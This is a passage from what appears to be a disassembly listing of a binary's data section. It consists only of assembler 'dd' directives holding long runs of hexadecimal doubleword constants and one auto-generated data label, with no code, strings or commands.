3EFCCF5h, 0B0442EC1h dd 0AC2A139Ah, 50AD27BDh, 36FF9723h, 8BA0259Eh, 2E8868D9h dd 597A2851h, 0A85ED05Fh, 0DDB7A201h, 0BBA0125Bh, 8B287D9Dh dd 7B6F82BDh, 0C35768F6h, 4BF01C2Eh, 0B1FF2F09h, 0E33B5E06h dd 809A8478h, 13ECAD13h, 69ABBE68h, 968F473h, 0F23AA29Dh dd 537D09BCh, 13E9C11Ch, 5FB7D93h, 3E527632h, 4FAE1FEh dd 42EF0108h, 6F25B478h, 168D21A4h, 0FA43083Fh, 5716D418h dd 6C6700BFh, 0CF8127F7h, 73281F82h, 0E92DD84Eh, 9DA6D864h dd 41A7BA75h, 0DA29A352h, 9668320Eh, 9F88420Bh, 0FDCC39F2h dd 0FED6612Ah, 13C99CC3h, 0E410BC89h, 0FC8EEC0Bh, 0DA0FC2A5h dd 1AAF4851h, 4E2D40DCh, 57E10F53h, 0A81CC101h, 52583408h dd 5D41802Ch, 0AB0BBA45h, 0F078B57Bh, 1F814A46h, 0FE5292A2h dd 5F8B9AB7h, 73513992h, 9CC2756Bh, 49DF795Fh, 54422359h dd 0F0CA7C5Bh, 9C5AB8E9h, 6485F4E2h, 3CAEA2CCh, 78C39254h dd 1E84C337h, 0D50844FBh, 0E037BA76h, 0F580DAE2h, 0FA45A119h dd 0C2877655h, 5BB09548h, 985ED9E9h, 7F8031AAh, 301C818Ch dd 63B753D8h, 167EA26Fh, 48A073B6h, 6F414CC6h, 44231155h dd 7197277Ah, 433CE9D2h, 0EB72984Bh, 0FEB1F3F3h, 8A54C61Fh dd 0E304913Bh, 4F1C6CF0h, 0B6AA6F80h, 899E166Fh, 0A1D313DEh dd 0B726753h, 66540368h, 41665DEBh, 546CEB4Fh, 8B866419h dd 0B8E1EBEBh, 2646D82Eh, 5797519Ah, 0E91A07BEh, 7E4E4DFFh dd 8273C7Eh, 484204D2h, 0C616E359h, 9270450h, 71BFF5D7h dd 67B67FF1h, 0BED86685h, 23033E31h, 6D72A48h, 0BF16106Bh dd 0A2C20BDBh, 0C0405CEEh, 171CEA1Fh, 0FE660B1Ah, 0C0065B1Ah dd 3442D282h, 0AA890635h, 0B66E6F3Dh, 2D7B572Dh, 6BB77C6Ch dd 0E9247BDAh, 0F7896D38h dd 81D8D4DAh, 0CF5A6CC2h, 15C86A42h, 9CBD17B0h, 9C91AAF2h dd 92A3FE9h, 16FF58CBh, 4D792528h, 0AFD92BBBh, 0F1C75266h dd 0B690F60h, 0FE52B238h, 0A4121F5Bh, 80A680A2h, 1BED595h dd 0B3311E9Dh, 0BC5CC514h, 384C80C5h, 4BE94DCCh, 0B92400E4h dd 98BCD12Fh, 524AB598h, 4EE28BBBh, 315AA7A6h, 0FA0868B2h dd 29A54B51h, 0BE907532h, 7897B6E9h, 0EB79B552h, 52725EC9h dd 9D05C1h, 0BF39C4BDh, 8F0300Bh, 5C89C195h, 65E8AF04h dd 5F8DAAB5h, 4B88DA20h, 2A938D11h, 740D4B22h, 0C6050718h dd 293F102Bh, 7A02DD0h, 3C498B5Ah, 84E9B04Dh, 0C842D0B4h dd 0B025539Eh, 0CD2F8040h, 0D4047D4Ch, 0CF35A881h, 0EECF1EB6h dd 65E6C496h, 8B3267D7h, 8ACF4BE9h, 2FCE6E5Ah, 353D132h dd 0F55AE610h, 5FA92FF9h, 0AD6C5813h, 9F8A164Fh, 25BBD1FEh dd 0CC01055Fh, 3AC67C51h, 40C7F82Bh, 0CA4FE908h, 0BAF3B516h dd 0BBC331C4h, 0C2E45CF8h, 19B24C03h, 367B225Fh, 32030968h dd 9FD2539Dh, 2F06F8D5h, 4EC95DEBh, 4807EAB9h, 1E9F965h dd 37FEE03h, 0C097EA1h, 2D13973Fh, 4C402F16h, 8905C4h dd 0F6814E50h, 6D6E45EFh, 0A309CEECh, 575DAB21h, 312DC4F2h dd 0A20AC6C8h, 4298DC76h, 59F5490Ah, 3F3FA8F1h, 0CE2CECB7h dd 5F54898Bh, 60D7C9B9h, 1ECBCF3Eh, 0AF487541h, 6CB05066h dd 683EC927h, 95625351h, 810734F5h, 85141098h, 0AA7A53ECh dd 0C1B4B3F2h, 9E63DEh, 958E188h, 0F986D7F6h, 0FE1CB4FCh dd 7524E9C9h, 5EF13720h, 0BDF4CA29h, 21D1925Eh, 5C03189Dh dd 72E7B2E1h, 5F7707C4h, 7B2156Bh, 979B7D5Eh, 3849BDFAh dd 72F37E7Ch, 91CF94Fh, 7699E95Fh, 701425E7h, 56806816h dd 2DB0E0F8h, 0D3273DB4h, 8270D837h, 5FA40207h, 0E28D4684h dd 0F8281D6Ch, 2127392Ch, 91E913A2h, 0A5B00DC8h, 1B8840BBh dd 0E2BE01A6h, 3A1F334Bh, 0DFFEB402h, 41FC41F4h, 9D404670h dd 2F566C61h, 24D20EFBh, 2239AA33h, 0F7F36552h, 6F58F590h dd 0D64FA52Fh, 5A08A0B4h, 0E068EE5Ah, 407BF3E9h, 1E33F1C7h dd 70974110h, 665020FEh, 584717B4h, 9FE67B3h, 5F4BF7CFh dd 0BA7FB0D5h, 490518B3h, 0A8AE434h, 0A9A28590h, 20AE4475h dd 665EB145h, 6C8FDFFCh, 0FA8BBFB7h, 26DF297Eh, 1A209488h dd 58645221h, 948DA3BFh, 4119165Ah, 32D819FCh, 0E1272803h dd 815AD822h, 0E82C5F07h, 59CE0473h, 0B365C3E9h, 772579A0h dd 7922448Eh, 0C3274A56h, 79515549h, 80138B92h, 0AFF582C3h dd 7F22CA91h, 12F67AD2h, 51FC6295h, 0DD326BAEh, 5CA8545Fh dd 89FEE917h, 12C13520h, 5C592D01h, 12082B28h, 8B31C05Eh dd 800F432h, 76E86D2Dh, 925DE98Eh, 0C7012D95h, 0EACB45ECh dd 0BD70F022h, 0FA08B1F8h, 264773Eh, 78E73050h, 75804943h dd 0E976CF92h, 0A3C98F4Ah, 0DFF5607Eh, 0B29421E9h, 754C5F27h dd 0CD3C6127h, 0ED4727FFh, 4FB0D7A7h, 0CA255F60h, 0A0A2FE11h dd 0B6594E08h, 0CD4B4B4Eh, 711C7DF8h, 0B52DF0BDh, 65E96A18h dd 0CF4955Bh, 4F021466h, 0DC068436h, 0C14AA27h, 0A83DD80Ah dd 0C5008A06h, 95075F3h, 0C15B1FDAh, 0FD562DE2h, 0C26851C0h dd 276DF807h, 39F6DCE9h, 2B464142h, 0F541B2D0h, 0C4278362h dd 652F1374h, 658D9C45h, 7D357E67h, 0EBA54AB8h, 0DB6A14CDh dd 94504D5Dh, 0F1862570h, 1D748098h, 0CD310AD4h, 442CC2C4h dd 6F257BF3h, 0D030F382h, 0AE459461h, 0E7BD23Eh, 0CBF780CFh dd 0BA5BF806h, 0F4D8283Fh, 0C7E9CBC4h, 0FB4B6BA8h, 23AEF7DDh dd 33E97087h, 0BF36515Eh, 68530B3Eh, 0A274385Ah, 2236AA62h dd 477F7ADDh, 2B6D8214h, 84C15760h, 23BB2008h, 1BE33D17h dd 174280FBh, 5461520Ah, 0D085BA1Ch, 9FA780FAh, 276C832Dh dd 0F498D131h, 7021B05h, 0C8295372h, 3207892Dh, 0D164D57Fh dd 1A560948h, 8254514Ah, 0D007ACBDh, 224BEC0Fh, 315802BCh dd 409325CCh, 78BDBA9Bh, 7C7E7C1Ch, 0BFA94AD6h, 404ADF4Fh dd 814524FEh, 0C0909CDh, 0D084260Fh, 5968005Fh, 0E8404B78h dd 54F6952Dh, 0AC1EBB3Ah, 0C8146F0Dh, 139B4CA9h, 30F23109h dd 5949BE02h, 0DE403A17h, 4D013C39h, 0E9CE2952h, 0AD5105A8h dd 14AD5BD9h, 0E2D5FD89h, 0E96B40DEh, 0FA5E5E15h, 9D0B3F38h dd 491867A0h, 9DB857AFh, 7F156160h, 69441369h, 83836031h dd 0ED96766h, 3C46D5E9h, 6B6A164h, 8B007E25h, 24465DEh dd 124E680Ah, 0D3DF32C9h, 0B8F42F40h, 503BE989h, 0A268132Dh dd 0BD69BB53h, 5B0DAB5Ch, 5422EAFCh, 3546C88Fh, 362F0667h dd 28C3897Fh, 9BAB040h, 16300476h, 370C0277h, 5D20A0D9h dd 0E85B5553h, 46DE2E87h, 0AAAB2C01h, 708B2F05h, 0BCFB96D5h dd 110026A5h, 50BF02C0h, 7166F420h, 423D0C91h, 0B53C51C5h dd 0C37196D3h, 1F1E74FBh, 8769838Ch, 0C4B4013Ah, 580804D4h dd 9F01B356h, 293BE00h, 31C10934h, 30606E6h, 0FD317046h dd 68052516h, 79A1C1ABh, 1BAC6E60h, 613A8BDEh, 0D8BE3EA3h dd 80F11DD5h, 401AE681h, 759574E9h, 2EF3B223h, 6DA79DBh dd 0D0D0D729h, 0D9860100h, 2C64B050h, 3941E4A7h, 0B0E707E9h dd 0D8DAE9F7h, 470EB909h, 25157050h, 7E463D68h, 424A6CF0h dd 466D4930h, 84614E9Fh, 2C59991Eh, 0F4515150h, 0FA3B6579h dd 0EF3024Ch, 99172E2Bh, 0EB101416h, 1D2842B6h, 0D95EDF6Eh dd 0DECB09EEh, 0EE751D62h, 49F1FAB8h, 0D00117F6h, 4D1FDA0Dh dd 49F02B3Ch, 48CF3C2Dh, 0C463C8AFh, 5205EAD8h, 0F72FA4B2h dd 35F945D2h, 0F8A1825Bh, 6805A645h, 65F36489h, 481A0079h dd 0E59C0543h, 0E4F2BCB7h, 0C10B68F3h, 4D367AF6h, 2CB66630h dd 0CC5CA30h, 0EB61C057h, 0A36CD20Fh, 764F6963h, 179C89FEh dd 0D123A825h, 89D121CBh, 5FFB353Ah, 448BDE59h, 0B76E7787h dd 4184F14Eh, 0B1F1B2ABh, 4936E4F2h, 9192184h, 43A70253h dd 6C5D809Dh, 0BD1F9034h, 61B5C260h, 229DC5Ch, 6195AC5h dd 9766700Ah, 0D0092174h, 0B19F137h, 0A49ADF98h, 146AF27Fh dd 41645868h, 695DA78Bh, 6B78B849h, 61900502h, 427F3432h dd 0DD070B1Dh, 0E5E0CE8Fh, 5B31770Ch, 0E1F3E927h, 6D215C2Bh dd 0B5A7887Fh, 0BE0164BEh, 8AD62B2h, 0E3F4D425h, 0A9F99D7Ah dd 57EF89C9h, 4C620F71h, 0D09C5726h, 0B5771495h, 6E5BCB91h dd 22FE27C4h, 3E5C6345h, 706EF982h, 9416D81Ch, 0FDB29631h dd 0B3F202CAh, 7D6D704Ch, 0E90476D1h, 32FF532Bh, 56E92E10h dd 0E15DF850h, 6A741FA0h, 0A5210E3Dh, 0D56A0BCFh, 64AA6994h dd 783EF05Fh, 48CD95EEh, 0FD9D8DAAh, 0E91C2B94h, 5D277B25h dd 0E92F31B6h, 0C8158BDAh, 0E1092A7Ah, 0A4D9B83Eh, 0C24C88B8h dd 5C262302h, 8204010Bh, 0EFEF13AEh, 0E2F9FB9Dh, 68CED03Fh dd 679B674Ch, 7A2B0C02h, 2515D04h, 0DF8EA689h, 6C9C78C4h dd 75E3394h, 10A614B9h, 75ECA60h, 115758E6h, 0B81B1275h dd 0BAB916A7h, 0E029BB82h, 95393854h, 0AB8C077Bh, 4E2914CAh dd 0D3CCF2D1h, 0AE325F1Ch, 6FE484E6h, 9724F088h, 755A3EF6h dd 0E9164314h, 29FE57C1h, 29BE2E7Ch, 2A41EAC9h, 30DA6563h dd 8382FCBCh, 0F04A2264h, 95FD891Eh, 0F12592D7h, 27E968EFh dd 0D14ABC85h, 0A01B8DE9h, 8940A35Eh, 8AD658F7h, 0FFB39B0Ah dd 3DCF09B0h, 68C3DCD9h, 0E6EC8D25h, 3367BC4h, 0C249E780h dd 42897D64h, 6353D1D7h, 0C901358Eh, 0C3134AEEh, 0C8295B30h dd 0B2378816h, 0E8898716h dword_4F7844 dd 5C812229h, 337C0B88h, 7C37FB01h, 37275F0Ch, 2EEAD94Eh dd 85FBC234h, 99D8BF19h, 39756442h, 0A66880EEh, 5F5C1344h dd 6B3004F0h, 30A04E6Ch, 0A5905A3Dh, 0DF2A878Ch, 68E24C7Fh dd 4B4C7FBAh, 0F582B0E6h, 0EF400D2h, 0EAA24F54h, 5E0F423Fh dd 3830635h, 3BD19B49h, 0CA1793CCh, 6C0B092Fh, 0F77D277h dd 0E701ADBh, 7AD8B78Bh, 7A605E9Fh, 5C560F5h, 0E92B09E4h dd 1AFA0D6Dh, 0A0C6014Fh, 2DFB790Ch, 985055CFh, 0EDFEC4B2h dd 0D52EC8A0h, 4815980h, 2D64A6F6h, 0FCD3C722h, 68270706h dd 5118FF49h, 0D99F1787h, 643F9D9Dh, 11A8C1F4h, 0AC6A20A2h dd 59BDA7A8h, 34B36A13h, 0F50700FFh, 0C730A25Dh, 0D34DBC90h dd 7F8217C7h, 3E500DB6h, 51BA8021h, 63560D2Eh, 69DFF201h dd 0EF2B1FC9h, 635AB645h, 0EDB7D9AFh, 0E850026Fh, 10D5896h dd 3A830EBCh, 0DDE9FA2Dh, 84C47E03h, 112C4E8h, 956A2D1h dd 0D65FA8E9h, 3CD3406Ah, 76954133h, 60A4895h, 0C697E6E9h dd 2BD53503h, 0AB2D5579h, 0D795AA9Fh, 55A58ADBh, 6C9D0D66h dd 0FA0EA082h, 12540023h, 563AE781h, 0C984015h, 0EBFDCA12h dd 9F84F0Bh, 25FCDE54h, 201516DFh, 5137C6Dh, 0BBBF9A0h dd 17C0D409h, 0A5B8E589h, 647F2F43h, 80AD3F02h, 1B03686Ah dd 39524DCDh, 2C30C2F1h, 0BD4C4B5Fh, 0D3C9D3E3h, 0BDCCBC2Fh dd 40725808h, 0A8BEBB33h, 38BD341h, 9576797h, 0D25DCBD6h dd 509D2581h, 0EBA0C2DBh, 0D1416C5Eh, 0C92BD9Dh, 3F4E9830h dd 291E6763h, 8EA14F2h, 9EDBB50h, 3536057Dh, 552D82F5h dd 60B80051h, 2F7DD825h, 9A13400Fh, 4669E57Bh, 0C4293ECDh dd 0B7677F1Ah, 751BC25Dh, 5B5F3A58h, 67E271FFh, 0CD7607E0h dd 8643E7Eh, 0E590998h, 8A136984h, 87FAE937h, 1C47D1A0h dd 32DFE458h, 43B83AC0h, 0BD079D4Bh, 0F701B254h, 293C09B1h dd 1D75B061h, 0D6ADE03Bh, 4790FA4Fh, 2A07F37h, 59CD0913h dd 0CA41DDF7h, 0A6002F45h, 0E9E45B80h, 0F49C4B6Bh, 0ED256752h dd 0CE36813Bh, 846B1E20h, 39BCEBC5h, 8456B24Bh, 30E81021h dd 2598ADA4h, 0C02742E8h, 8B124812h, 4684648h, 18B7332Fh dd 129D2FBh, 0EA813CF4h, 3C5F5619h, 877506Bh, 0EDF75E25h dd 4EE90B03h, 0F60E51D0h, 965166DDh, 57F51FBBh, 2D75C0EAh dd 0A10057C0h, 0BC354815h, 0A9116564h, 9DA4ED7h, 0E7F0DDF8h dd 0C4C1BF6Fh, 5F0B3AC0h, 87F16557h, 9735568h, 80727B75h dd 1413E981h, 0D0EA616Bh, 0F9A3C75Bh, 0E110DA26h, 29EF68E9h dd 2360072Ch, 0C2E614D2h, 0F5C42D78h, 97B3BEF7h, 0DE2F57DCh dd 5B54D0FFh, 420C5B9Dh, 0C2D66D6Eh, 0C767FB71h, 0F1F77162h dd 8B95F15Dh, 4B6EAE26h, 7C4BD7B0h, 3C02B961h, 0D826844h dd 1F8608A9h, 0BF8792C0h, 59DA5C38h, 2384D11Ah, 5E9C1478h dd 286806AFh, 0C2D10E3h, 7041765Bh, 3BF3C068h, 0E15067B6h dd 753A3C40h, 6794EBCAh, 0EF4B0DFCh, 0E7FEEB75h, 2CA9238h dd 9CE95209h, 20B0C261h, 0C0BFC311h, 4B61688Fh, 4D41EB74h dd 0F5EC8092h, 1422C8B7h, 28518751h, 0AD1A7F2Eh, 648140C1h dd 7445602Bh, 3D090CEEh, 0CE3A4B76h, 7A6816D8h, 4155FB00h dd 95314F39h, 0EB02577Eh, 57684411h, 0A64237DEh, 45D70BCBh dd 9DDA8BEh, 3DE1D3Ah, 0D35E5DCh, 0FEBE04EFh, 6086F543h dd 0FEBF05D0h, 3F3A8298h, 7CC02594h, 6B286EA2h, 0F0009E36h dd 29EF0975h, 0F7B0E9F9h, 0A86B0F65h, 0EE247AF7h, 87401CB3h dd 0B55ECF68h, 0C12F27C6h, 9EC4612h, 607C1783h, 68500D0Bh dd 4C765861h, 0D5F26F4Dh, 9CC502A7h, 0D9975A56h, 1C903D0Eh dd 53C4852h, 741940EDh, 6C7C8405h, 86AC4EC5h, 0B7785B78h dd 0E24A7B74h, 86BEBFC3h, 0EE293E03h, 8E909F2Eh, 1EE6E7B7h dd 0F9970E72h, 4E5DC957h, 0A187BF99h, 47684051h, 1788846h dd 0BC0BE59Ah, 84FE77B9h, 78E10264h, 92D2FD6Eh, 41B514B4h dd 6743412Fh, 6068007Eh, 0EBBB34h, 30757BB7h, 84164DBAh dd 28C7CF8Ah, 1C6BD8A9h, 0EDD0F797h, 1E261476h, 2236A9BFh dd 7937EC02h, 69F45D2Bh, 0D3AE5BC5h, 2350E8D4h, 501FB643h dd 0C1160A8Fh, 961DC80Fh, 273304AAh, 772DFF16h, 94AC8C14h dd 407DF54Fh, 72253583h, 90E97809h, 7D6D9221h, 35DA3FCBh dd 7558897Dh, 0E6633D79h, 0A21E5E44h, 418DE3D8h, 2FDC872Fh dd 0A9E9D638h, 443D7822h, 0CD019605h, 9208C810h, 7860178Dh dd 447A5E5Eh, 922FB9B8h, 0C0D5EFCAh, 2FB56B61h, 0EE54A069h dd 0B20BFB20h, 5011B861h, 8ED51F0h, 6CEC1C82h, 6842391Dh dd 97F1BEDDh, 0F97A927Dh, 0C607C9D3h, 17F499EFh, 7AE7F4C9h dd 0EF76E084h, 48ADC788h, 3A49306h, 0C9042286h, 0BE4CC02Ah dd 98B23520h, 3A55200Bh, 43E1BD06h, 1E41F9Dh, 3F154AF5h dd 52CD58E9h, 5E5FD2BDh, 28DACA4h, 0CC51B54h, 9C0B01D4h dd 2043F13Fh, 38AD0FAEh, 28C5536Eh, 41A91D2h, 271D2ABFh dd 6841C62Ch, 993E750Eh, 45A22ADDh, 0EF99AB96h, 9F513234h dd 0DCF2D554h, 70E9C162h, 0E02D9716h, 311B1118h, 685617D2h dd 0CD1E8DA5h, 0BFB3BDAh, 9C82DE91h, 5D0196C5h, 0CAE3CE09h dd 814E569Dh, 4C083BC8h, 0AEA7043h, 44825D1Dh, 3E06F380h dd 24C12B22h, 81CB08EBh, 31A6D2C3h, 0D0042BB2h, 5007592h dd 713620Ch, 720D69Ch, 0D916E92Ch, 4E043389h, 0A9739DF5h dd 969D8EA0h, 5F542482h, 1820000Ah, 685022C4h, 0E9027E25h dd 8100DFA3h, 0E3946EAh, 68538F83h, 0DBF8B7D1h, 6D2BCAC1h dd 0A0346C3Ah, 7E8C1h, 624FD235h, 7AFDE97Fh, 8485DBB5h dd 0ABC8B70Fh, 0EBD2F6E2h, 406A618Fh, 5283022Ch, 0D160466Ch dd 0EB74744Ch, 3B385D60h, 28DD80DEh, 41EEE889h, 22853E28h dd 15D84EEh, 6411B7BCh, 22233E4Fh, 0C9F702EAh, 72960BEEh dd 0A9242A56h, 81180E6Ch, 5533853h, 70EA267Dh, 342D17B6h dd 2A6CDA8Dh, 283837C7h, 0A5A6201Eh, 0B56ACCB5h, 470E157Bh dd 0A3EF1201h, 5771C605h, 7EB62420h, 0AC3612BAh, 664181BAh dd 983B72CFh, 0CA1C13Ah, 0B53205Ah, 14B50A07h, 0D499FBE9h dd 1F12524Ch, 2984EF5h, 4B6E02CDh, 2F5113E9h, 55F817BCh dd 6FF08F20h, 0F750165Ch, 847F09D6h, 57A909FDh, 0E6AC0C6Fh dd 3257D49h, 0BBE140F7h, 62BD3435h, 6805DABEh, 0CC442EDCh dd 0A0177F4Ch, 564B5A68h, 5CA80724h, 56BD8F14h, 0AE170884h dd 70749A29h, 3FAE410Eh, 281073A0h, 0FA7330h, 615C1EC2h dd 0E9EA012Dh, 6EE13CFEh, 0BA76FEDh, 2BAFB2C8h, 1E7A6B9Dh dd 0DE19B11Ch, 3F627A1h, 5D6B2542h, 79BF9B46h, 0FC2F6237h dd 0E581B077h, 0C6CE9D7Ch, 4052E91Ch, 2718DF2Dh, 0D9B5E768h dd 0BE8A0F4h, 3FA22636h, 0D22D3CFEh, 4B762024h, 0F1BA5D95h dd 0AA691A84h, 0D8923AFCh, 855AB151h, 20855CB2h, 0ED76EB34h dd 0B82D4F07h, 0A8E48610h, 63C1003Dh, 219D83F3h, 99BC59CEh dd 80D45515h, 606BBDBEh, 46714Dh, 2FC3B850h, 0C631337Dh dd 0FD25CA93h, 0E2F74789h, 67CB838Dh, 0B96C5D4Ah, 68B22DD3h dd 95009310h, 417DBB36h, 0F9825B68h, 564080F7h, 58215014h dd 2F735FE9h, 0A27AA15Ch, 8097B4F4h, 65CA35CBh, 2D4C7AA6h dd 3251682Eh, 5C820392h, 0FF99859h, 2C999A0h, 0ABB2D2F3h dd 0F29D8FDDh, 4E62E701h, 0B42055ECh, 30604E09h, 0B243DD8Ah dd 0E6813501h, 608B7DE3h, 0F7E6042Bh, 0C3BCEFDEh, 88634407h dd 13C66015h, 164FD46Fh dd 0E938FAB8h, 0AA39DE2Ch, 86CE208Eh, 0DB4984BDh, 4728E1A8h dd 493709C0h, 60FD3DA6h, 9AEB16B0h, 20019F85h, 270A6D68h dd 47F40540h, 0C9E55480h, 0E989906Eh, 0C6B60648h, 76407484h dd 413359C1h, 8A5A9223h, 43E91DA6h, 65068A7h, 0E20A5C36h dd 0D026E7Ch, 0BF2CECA5h, 0EB4A73B6h, 26AF5B24h, 0E62F2EBDh dd 0FECBA4E5h, 84BF894Eh, 0FA1C7721h, 0D9052D64h, 84CCE29Bh dd 0C4556050h, 49A27181h, 0C42BBD05h, 0B0BFA9EEh, 0C541160Dh dd 0D8C315CBh, 0B037252h, 43840FC9h, 659D24C6h, 0A7E91DA3h dd 7B5E22EAh, 847CDE2Fh, 0FC734868h, 62E3C466h, 65F4E741h dd 0EF6D3098h, 0C185502h, 55F831F2h, 9AF14B42h, 53D93605h dd 0C1BDD9FBh, 3C35235Ch, 6AD38452h, 80FF32FCh, 543BBA2h dd 0D2F70F18h, 26390D10h, 5A30A48h, 44B5C31h, 0E25AD6FAh dd 9B590DBh, 2B154C3h, 7CF0D2A6h, 0C2E9D04Fh, 0ADFA61B5h dd 5091603Fh, 15392273h, 85333D2Dh, 5D0296Dh, 0C15A070Eh dd 126F7465h, 842DD8F4h, 105C6813h, 2604C9CDh, 1A1AA182h dd 515DBA82h, 0F00810Ah, 0D73C87Dh, 4B44E448h, 6B08B13Ch dd 0EA0F7F8Ah, 0F7A98A87h, 0D72D4954h, 5E50CB2Bh, 0FDB3515Fh dd 2E38EAD3h, 2FA341DBh, 0A040DA9h, 0ABD21A09h, 0EF0252ECh dd 66F63577h, 8A0E0DEh, 42997EC6h, 0FDBF1E40h, 0AB2A5624h dd 5A5F12C2h, 1A9A21Bh, 6657E90Fh, 0F8DF742Eh, 43F9A13Ah dd 0F2BED78Eh, 0BE6BFD07h, 14F74AE9h, 601FF8C1h, 0CFBD546Dh dd 0C7A7236h, 5F8BD459h, 4039F781h, 481E430h, 7C552DF2h dd 0C22CFA2Ah, 107B26A3h, 0E8DA12C7h, 4639B1D8h, 6A656801h dd 0E80DF762h, 69428FF3h, 72553D38h, 895D167Ah, 6464F5h dd 0C131028Bh, 0D116F74Ch, 4EE0BBE9h, 9A1BEC53h, 47719547h dd 951F3CC6h, 0D2BDD772h, 98595034h, 0C13B126Fh, 0DEF60172h dd 603CA85Fh, 0F9900685h, 71ABE15Fh, 8C054A3Fh, 0EB3772D7h dd 0F3C04ECFh, 150A1ACAh, 495E821Ah, 0CB810025h, 18FA688Eh dd 0B789BDh, 1EA4F088h, 97B9BA55h, 191711F4h, 508FA0EDh dd 2C60314Bh, 0B53BF68h, 0BBB305C4h, 5332D830h, 4E8350EEh dd 0B109EC54h, 1B656362h, 5AB0FD3Bh, 7C05E8D7h, 4CBFF2BFh dd 0B5272099h, 63F2215Ah, 87C6E16h, 2AB104BFh, 0D5D71D72h dd 27088AABh, 800601F4h, 0C5CC4AEDh, 0DD2837B6h, 0CC3D5810h dd 0F74434D2h, 7BBC9C80h, 0F3104093h, 0D28D1E05h, 0D6B3FA09h dd 5BEA85Bh, 80A0A144h, 0E4C59ECh, 0BE301E12h, 0A1E8CBCDh dd 0B814C026h, 7569652Eh, 9A092A90h, 0E616E73Ch, 5932CBEAh dd 8106F748h, 3734C90Bh, 40F20F8Ah, 0DDF3BA71h, 9BC85C01h dd 1502E812h, 14BABA1h, 58508D8Bh, 0ED0A301Bh, 0D13207A2h dd 3AA9B480h, 0DCBD3032h, 2E607068h, 0C1457782h, 0A7025C65h dd 7D8FE91Ch, 5568B618h, 21821116h, 16CC0BE0h, 0FB641C5Ch dd 0C7312021h, 0F9684960h, 0FF04CCAh, 66C870AAh, 682F70F2h dd 0A5C94164h, 70EB6AAEh, 7A250BC4h, 0A5DA2977h, 0E4DF0982h dd 27ED200Eh, 86C24095h, 8F209E4Ch, 73C47FEBh, 0FD8D8044h dd 82EF7B06h, 890A8C18h, 1470FF7Dh, 1C450883h, 20AFFA14h dd 0FA110E80h, 7127E948h, 0BE2E4549h, 0B223B692h, 76FC0793h dd 8AC27227h, 0DE824925h, 0BC3601DCh, 95A8551h, 32DBC2F1h dd 0D8F7FF50h, 4490C68h, 2757857Ah, 16A97FA4h, 0C168873Ch dd 6FC197B3h, 484C26CEh, 55B6BF02h, 50D50A52h, 0A9CF0149h dd 0F77ED547h, 516130DFh, 9D40BD04h, 8899F989h, 5B2C8D24h dd 1BACC25h, 0FD319C81h, 6D89D79Eh, 0CBCE7674h, 0C1420758h dd 88A4744Bh, 5D264105h, 25CBD108h, 0C7AAB0DFh, 6F47B4BBh dd 0F9177926h, 9925459Fh, 2E37784Fh, 403D04E0h, 0F5A2C77h dd 18C93AF2h, 9ED851F5h, 88048453h, 0D3E9C2DAh, 67C2FC5Fh dd 8E7DF6E9h, 4E5B11BEh, 0AC70EC80h, 24A9AC5Ch, 0AC75ADE9h dd 65802B0h, 5574316Dh, 0C43E60Bh, 4BF0C71h, 0E97F446Ch dd 0A15DAF4Eh, 0C52C3A82h, 30557EF3h, 831AC842h, 0B64ED390h dd 6F5B89ABh, 68F0AAF2h, 0C69D6395h, 3062016h, 5FFE2B0h dd 0F4D5C2AAh, 0FE69667Dh, 0F1D35D96h, 1C772A0Fh, 0D7F79782h dd 0FA2D4650h, 0D71F3AFDh, 48614212h, 853E64F6h, 5F8B7045h dd 0CE807FBFh, 5CE7E90Dh, 4E82F896h, 7FD61DD5h, 0BA013284h dd 39F4BD21h, 6EF39150h, 58892D55h, 0C69F615Eh, 1774EAFh dd 8A60D4B8h, 70440106h, 5F26E997h, 90AFF1DAh, 0D623B0A1h dd 7901AB14h, 44485FFBh, 63DCAB14h, 0EA7B4B68h, 587CA230h dd 0F765048Eh, 0BFF1E9D6h, 4FF36F16h, 0ECC1317Bh, 0DC8DB116h dd 0F5A43437h, 2C40191Ch, 837D72E5h, 0E20C4F08h, 73C01B26h dd 1DD8D833h, 84AF5EE8h, 2E80B5CBh, 8628E1A1h, 7D3CEE4Fh dd 4349408Ah, 1AB024B8h, 1E02289Ah, 0E9950ECAh, 0BAEFE84h dd 22D3595Fh, 6314C501h, 502E49A6h, 592F08E0h, 0BB0D3553h dd 0BD3A3780h, 12335193h, 0DD6368B3h, 106059BAh, 0B5C0566Fh dd 6244ECEh, 0C37B015h, 3DCA501Ch, 5F8272FCh, 59495AFCh dd 18294738h, 3D4B3C92h, 2D25DE06h, 68048BD3h, 0DF33EECh dd 0F1620B7Eh, 1A8DE927h, 0D5B26E6Ah, 580EC2B4h, 0D2BF1A66h dd 5CF50044h, 0E937670Bh, 9FC05258h, 41491402h, 3FAAA05Dh dd 2DAF2D1Ah, 0B7F1FE01h, 0E9AA41F3h, 0FFA72B36h, 24805327h dd 29D85C7Bh, 5B78DFFAh, 272CA3FCh, 0B30058D6h, 0E9425402h dd 0A48D4820h, 3D5BC981h, 74ACED1Bh, 0D028F7A3h, 540FAF96h dd 0C475C302h, 580EFCA8h, 7F4598C6h, 7028E04Bh, 3E55EE9h dd 6F18033h, 0DA25C199h, 0E8F5D342h, 0B702AB3Fh, 53146C67h dd 9B322F6h, 0C72987F1h, 0D4B76E05h, 3A09BBDEh, 3C40D7C1h dd 83FF835Ah, 5F42842Fh, 588CC254h, 0F4DEBDF1h, 82D8CD50h dd 692A51D7h, 0E9CB387Fh, 91BB6EEFh, 11B68A1h, 41F6290Ah dd 5ADE4208h, 0A7BE5600h, 7B120916h, 0C589F331h, 0D6270376h dd 1768E28Fh, 0BE06A5ECh, 1DDC30E9h, 0A79A4DD0h, 0D9123D05h dd 0C7B50E57h, 72E4FA4Fh, 4D29AB68h, 0B26C866Bh, 1273222h dd 0DF2B90C2h, 0C7B8503Ah, 3E1BEDA1h, 0FC185EA8h, 0A7BA2838h dd 1D922F07h, 0BBC24A42h, 9191AA76h, 53026B0Bh, 0BB0CB795h dd 0B86330D5h, 5B36CBAFh, 8469F359h, 0A44B1A25h, 0F5886DA2h dd 526401F4h, 2B8F9BAh, 321B310Dh, 0A88F5750h, 9A602000h dd 505401Eh, 733ABCC5h, 0CB3418D7h, 20ECB7B1h, 0E947129Ch dd 0BFAEC448h, 0CAB195E8h, 0FFAD2B20h, 0B2924E78h, 705A0605h dd 0BC64A95h, 4291405Eh, 1A0E4400h, 93B82EEBh, 49E4748h dd 94D68E7Bh, 0BBFC85EAh, 0C88B4FE5h, 4D4DEBFh, 675F9960h dd 0C301285Eh, 0C7347ABEh, 0E279C173h, 0EA571310h, 6BF6751Eh dd 38E91354h, 4B5AD063h, 42E7440Ah, 22F455FFh, 60BA5127h dd 